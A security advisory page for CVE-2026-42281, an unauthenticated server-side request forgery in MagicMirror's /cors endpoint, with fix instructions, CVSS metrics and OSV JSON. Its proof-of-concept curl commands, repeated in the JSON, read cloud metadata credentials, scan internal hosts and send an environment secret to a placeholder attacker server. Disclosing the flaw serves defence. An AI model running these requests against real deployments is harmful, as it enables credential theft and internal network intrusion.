CVE-2026-42281: Magicmirror MagicMirror Vulnerable To Unauthenticated SSRF Vulnerability

CRITICAL
Advisory Identifier: GHSA-ph6f-2cvq-79hq
CVSS 8.6
CWE-918
Published
Advisory Summary

CVE-2026-42281 is a CRITICAL (CVSS 8.6) magicmirror vulnerable to unauthenticated ssrf vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Magicmirror libraries in the npm ecosystem. The issue involves magicmirror vulnerable to unauthenticated ssrf via /cors endpoint. Remediation is available by upgrading affected packages to version 2.36.0.

CVE-2026-42281 at a Glance

CVE Identifier CVE-2026-42281
GHSA Identifier GHSA-ph6f-2cvq-79hq
Severity CRITICAL
CVSS v3.1 Base Score 8.6
CWE Classification CWE-918: Server-Side Request Forgery (SSRF)
Affected Product Magicmirror
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 8.6

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-42281

To remediate this vulnerability, upgrade all affected Magicmirror dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

magicmirror fixed: 2.36.0
npm install magicmirror@2.36.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls magicmirror

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-42281, inspect your project dependencies using npm:

npm ls magicmirror

Analyze the terminal output to locate any version of Magicmirror in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.36.0), your application is affected.

Note: The npm ls magicmirror command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Magicmirror, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary An unauthenticated Server-Side Request Forgery (SSRF) vulnerability in the `/cors` endpoint allows any remote attacker to force the MagicMirror² server to perform arbitrary HTTP requests to internal networks, cloud metadata services, and localhost services. The endpoint also expands environment variable placeholders (`**VAR_NAME**`), enabling exfiltration of server-side secrets. ### Details The `/cors` endpoint in `js/server_functions.js` (function `cors()`, lines 37-78) acts as an open HTTP proxy with no authentication and no URL validation. Any user-supplied URL is fetched server-side via `fetch()` and the full response is returned to the caller. Additionally, the `replaceSecretPlaceholder()` function (lines 21-25) expands any `**VARIABLE_NAME**` pattern in the URL with the corresponding `process.env` value before the request is made, allowing an attacker to exfiltrate environment variables (e.g. API keys, tokens, database credentials). **Vulnerable code path:** ``` GET /cors?url=<attacker-controlled-url> → replaceSecretPlaceholder(url) // expands **ENV_VAR** → process.env.ENV_VAR → fetch(url) // no validation, no blocklist → response returned to attacker // full body, status, headers ``` **Key issues:** - No authentication required - No URL validation or blocklist for private/reserved IP ranges - No restriction on URL scheme or destination - Environment variable expansion in URL before fetch ### PoC **Prerequisites:** a running MagicMirror² instance accessible on the network (default: `http://<host>:8080`). **1. Basic SSRF — access cloud metadata (AWS IMDSv1):** ``` curl "http://<target>:8080/cors?url=http://169.254.169.254/latest/meta-data/" ``` If the server runs on AWS EC2 without IMDSv2 enforcement, this returns instance metadata including IAM role credentials. **2. Internal network scanning:** ``` curl "http://<target>:8080/cors?url=http://192.168.1.1/" curl "http://<target>:8080/cors?url=http://127.0.0.1:3000/" ``` The attacker can probe internal services by observing response status codes and timing. **3. Environment variable exfiltration:** ``` curl "http://<target>:8080/cors?url=http://<attacker-server>/?leak=**SECRET_API_KEY**" ``` The server expands `**SECRET_API_KEY**` to the value of `process.env.SECRET_API_KEY` before making the request, sending the secret to the attacker-controlled server as a query parameter. ### Impact - **Cloud deployments (AWS/GCP/Azure):** full compromise of cloud instance credentials via metadata service (169.254.169.254), potentially leading to lateral movement within the cloud account - **Internal network access:** the server becomes a proxy to scan and interact with services on internal networks that are not directly reachable by the attacker - **Secret exfiltration:** environment variables containing API keys, database credentials, or other sensitive configuration are directly readable - **Affected users:** anyone running MagicMirror² exposed to an untrusted network (including LAN). The `/cors` endpoint requires no authentication, so any host that can reach the MagicMirror HTTP port can exploit this vulnerability

CVE-2026-42281 Affected Magicmirror Versions

1 component(s)
Fixed Versions:
2.36.0
Product / Package Ecosystem Affected Versions Fixed Version
magicmirror
npm
< 2.36.0
2.36.0

References

Frequently Asked Questions

What is CVE-2026-42281?
CVE-2026-42281 is a security vulnerability in Magicmirror involving MagicMirror vulnerable to unauthenticated SSRF via /cors endpoint under CWE-918: Server-Side Request Forgery (SSRF).
Which Magicmirror versions are affected?
Affected versions include releases prior to 2.36.0 across affected packages: magicmirror.
What version fixes CVE-2026-42281?
Upgrading to 2.36.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is magicmirror affected?
Yes, magicmirror is affected in releases prior to 2.36.0. Upgrade your dependency to 2.36.0 or later.
What is the CVSS score of CVE-2026-42281?
CVE-2026-42281 has a CVSS v3.1 base score of 8.6 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N.
What CWE is associated with CVE-2026-42281?
CVE-2026-42281 is classified under CWE-918: Server-Side Request Forgery (SSRF) (The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.).
How can I check npm dependencies for CVE-2026-42281?
Run the dependency tree command: 'npm ls magicmirror'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-ph6f-2cvq-79hq",
  "modified" : "2026-06-08T23:14:14Z",
  "published" : "2026-05-05T20:53:59Z",
  "aliases" : [ "CVE-2026-42281" ],
  "summary" : "MagicMirror vulnerable to unauthenticated SSRF via /cors endpoint",
  "details" : "### Summary\n\nAn unauthenticated Server-Side Request Forgery (SSRF) vulnerability in the `/cors` endpoint allows any remote attacker to force the MagicMirror² server to perform arbitrary HTTP requests to internal networks, cloud metadata services, and localhost services. The endpoint also expands environment variable placeholders (`**VAR_NAME**`), enabling exfiltration of server-side secrets.\n\n### Details\n\nThe `/cors` endpoint in `js/server_functions.js` (function `cors()`, lines 37-78) acts as an open HTTP proxy with no authentication and no URL validation. Any user-supplied URL is fetched server-side via `fetch()` and the full response is returned to the caller.\n\nAdditionally, the `replaceSecretPlaceholder()` function (lines 21-25) expands any `**VARIABLE_NAME**` pattern in the URL with the corresponding `process.env` value before the request is made, allowing an attacker to exfiltrate environment variables (e.g. API keys, tokens, database credentials).\n\n**Vulnerable code path:**\n\n```\nGET /cors?url=<attacker-controlled-url>\n  → replaceSecretPlaceholder(url)     // expands **ENV_VAR** → process.env.ENV_VAR\n  → fetch(url)                        // no validation, no blocklist\n  → response returned to attacker     // full body, status, headers\n```\n\n**Key issues:**\n- No authentication required\n- No URL validation or blocklist for private/reserved IP ranges\n- No restriction on URL scheme or destination\n- Environment variable expansion in URL before fetch\n\n### PoC\n\n**Prerequisites:** a running MagicMirror² instance accessible on the network (default: `http://<host>:8080`).\n\n**1. Basic SSRF — access cloud metadata (AWS IMDSv1):**\n\n```\ncurl \"http://<target>:8080/cors?url=http://169.254.169.254/latest/meta-data/\"\n```\n\nIf the server runs on AWS EC2 without IMDSv2 enforcement, this returns instance metadata including IAM role credentials.\n\n**2. Internal network scanning:**\n\n```\ncurl \"http://<target>:8080/cors?url=http://192.168.1.1/\"\ncurl \"http://<target>:8080/cors?url=http://127.0.0.1:3000/\"\n```\n\nThe attacker can probe internal services by observing response status codes and timing.\n\n**3. Environment variable exfiltration:**\n\n```\ncurl \"http://<target>:8080/cors?url=http://<attacker-server>/?leak=**SECRET_API_KEY**\"\n```\n\nThe server expands `**SECRET_API_KEY**` to the value of `process.env.SECRET_API_KEY` before making the request, sending the secret to the attacker-controlled server as a query parameter.\n\n### Impact\n\n- **Cloud deployments (AWS/GCP/Azure):** full compromise of cloud instance credentials via metadata service (169.254.169.254), potentially leading to lateral movement within the cloud account\n- **Internal network access:** the server becomes a proxy to scan and interact with services on internal networks that are not directly reachable by the attacker\n- **Secret exfiltration:** environment variables containing API keys, database credentials, or other sensitive configuration are directly readable\n- **Affected users:** anyone running MagicMirror² exposed to an untrusted network (including LAN). The `/cors` endpoint requires no authentication, so any host that can reach the MagicMirror HTTP port can exploit this vulnerability",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "magicmirror"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.36.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.35.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/MagicMirrorOrg/MagicMirror/security/advisories/GHSA-ph6f-2cvq-79hq"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-42281"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/MagicMirrorOrg/MagicMirror"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/MagicMirrorOrg/MagicMirror/releases/tag/v2.36.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-05T20:53:59Z",
    "nvd_published_at" : "2026-05-14T16:16:21Z"
  }
}